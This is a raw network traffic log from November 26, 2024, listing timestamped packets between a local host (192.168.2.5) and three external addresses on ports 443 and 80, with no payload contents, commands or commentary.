Nov 26, 2024 10:09:30.863910913 CET	443	49830	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:30.864469051 CET	49830	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:30.864480972 CET	443	49830	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:30.864516020 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.864559889 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.864665985 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.864710093 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.865514040 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.865535021 CET	49830	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:30.865539074 CET	443	49830	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:30.865556002 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.865677118 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.865715027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.866452932 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.866503000 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.866635084 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.867090940 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.867408991 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.867460012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.867516994 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.867551088 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.868458033 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.868508101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.868571043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.868607044 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.869384050 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.869434118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.869498014 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.870126963 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.870642900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.870695114 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.870768070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.870826960 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.872206926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.872457027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.872519970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.872575998 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.873959064 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.874001980 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.874154091 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.874200106 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.876023054 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.876084089 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.876240015 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.876324892 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.877970934 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.878048897 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.878118992 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.878241062 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.880100965 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.880162001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.880219936 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.880537987 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.880827904 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.880878925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.880943060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.881000042 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.881669998 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.881731987 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.881732941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.881771088 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.882719040 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.882765055 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.882807970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.883095980 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.892513037 CET	49823	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.895323992 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.908365011 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.908370972 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.954834938 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.043720961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043745041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043775082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043787003 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043807030 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.043809891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043823004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043834925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043840885 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.043848038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043860912 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043863058 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.043878078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043878078 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.043904066 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.043926954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.043942928 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043966055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043977022 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.043991089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.044004917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.044032097 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.045414925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045435905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045449018 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045460939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045473099 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.045473099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045485020 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045486927 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.045497894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045507908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.045509100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045516014 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045522928 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.045533895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045547009 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045556068 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.045557976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045569897 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045582056 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045583010 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.045593977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045604944 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.045605898 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045618057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045622110 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.045629025 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045643091 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045650959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.045655012 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045667887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.045686960 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.045696020 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.045708895 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.050160885 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.050177097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.050225019 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.050416946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.050430059 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.050458908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.050688028 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.050699949 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.050724983 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.050755978 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.050769091 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.050795078 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.050806999 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.050822020 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.050873995 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.050873995 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.052505970 CET	443	49829	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.052829027 CET	443	49828	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.053839922 CET	49829	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.053865910 CET	443	49829	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.054470062 CET	49829	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.054476023 CET	443	49829	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.055979967 CET	49828	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.056003094 CET	443	49828	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.056538105 CET	49828	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.056545019 CET	443	49828	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.098263979 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.209456921 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.209485054 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.209695101 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.209695101 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.209713936 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.209851027 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.211816072 CET	443	49831	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.212904930 CET	49831	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.212929010 CET	443	49831	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.213463068 CET	49831	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.213468075 CET	443	49831	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.218245029 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.221045017 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.221138000 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.221182108 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.221400976 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.222234011 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.222260952 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.222851038 CET	49838	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.222897053 CET	443	49838	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.222961903 CET	49838	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.223540068 CET	49838	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.223558903 CET	443	49838	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.366722107 CET	443	49830	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.366900921 CET	443	49830	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.366967916 CET	49830	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.367139101 CET	49830	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.367170095 CET	443	49830	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.367178917 CET	49830	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.367189884 CET	443	49830	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.370714903 CET	49839	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.370749950 CET	443	49839	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.370937109 CET	49839	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.371124029 CET	49839	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.371134996 CET	443	49839	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.376178026 CET	443	49827	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.376255989 CET	443	49827	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.376328945 CET	49827	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.376478910 CET	49827	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.376501083 CET	443	49827	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.376512051 CET	49827	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.376517057 CET	443	49827	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.377551079 CET	443	49825	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.377576113 CET	443	49825	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.377640009 CET	49825	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.377659082 CET	443	49825	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.379055023 CET	49825	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.379091978 CET	443	49825	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.379144907 CET	49825	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.379431009 CET	49840	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.379431963 CET	49841	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.379458904 CET	443	49840	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.379477978 CET	443	49841	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.379518986 CET	49840	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.379539967 CET	49841	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.379978895 CET	49841	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.379997969 CET	443	49841	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.380191088 CET	49840	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.380214930 CET	443	49840	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.387428999 CET	443	49823	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.389039993 CET	443	49824	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.389060974 CET	443	49824	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.389120102 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.389149904 CET	443	49824	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.389657021 CET	443	49824	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.389709949 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.389930964 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.389946938 CET	443	49824	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.390013933 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.390022993 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.392740011 CET	443	49823	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.392788887 CET	443	49823	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.392848015 CET	49823	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.392848015 CET	49823	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.394422054 CET	49823	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.394433022 CET	443	49823	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.396183968 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.396222115 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.396269083 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.396286011 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.396902084 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.396950006 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.398482084 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.398489952 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:31.398541927 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.398560047 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:31.502650023 CET	443	49829	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.502727985 CET	443	49829	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.502873898 CET	49829	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.503046036 CET	49829	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.503062010 CET	443	49829	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.503079891 CET	49829	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.503086090 CET	443	49829	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.506247997 CET	49842	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.506279945 CET	443	49842	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.506587029 CET	49842	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.506783962 CET	49842	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.506798983 CET	443	49842	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.511693954 CET	443	49828	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.511760950 CET	443	49828	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.511893988 CET	49828	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.511946917 CET	49828	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.511946917 CET	49828	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.511970043 CET	443	49828	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.511979103 CET	443	49828	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.514264107 CET	49843	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.514305115 CET	443	49843	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.514386892 CET	49843	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.514503002 CET	49843	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:31.514518976 CET	443	49843	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:31.538098097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.538160086 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.538250923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.538292885 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.538760900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.538773060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.538825035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.539182901 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.539227962 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.539371967 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.539416075 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.540502071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.540565968 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.540659904 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.540713072 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.541820049 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.541876078 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.541939020 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.542090893 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.542538881 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.542583942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.542659044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.542772055 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.543607950 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.543663025 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.543694019 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.543745995 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.544724941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.544781923 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.544825077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.544867039 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.545718908 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.545787096 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.545857906 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.546036005 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.546880960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.546933889 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.546994925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.547036886 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.547882080 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.547928095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.547960043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.547995090 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.548729897 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.548796892 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.548818111 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.548861980 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.549787045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.549838066 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.549868107 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.549910069 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.550709009 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.550756931 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.550793886 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.550913095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.551536083 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.551651001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.551707983 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.551748037 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.552824974 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.552867889 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.552944899 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.553055048 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.553670883 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.553720951 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.553864956 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.553915977 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.554635048 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.554692030 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.554732084 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.554774046 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.555339098 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.555408955 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.555459023 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.556149006 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.556195021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.556219101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.556243896 CET	49766	80	192.168.2.5	185.215.113.206
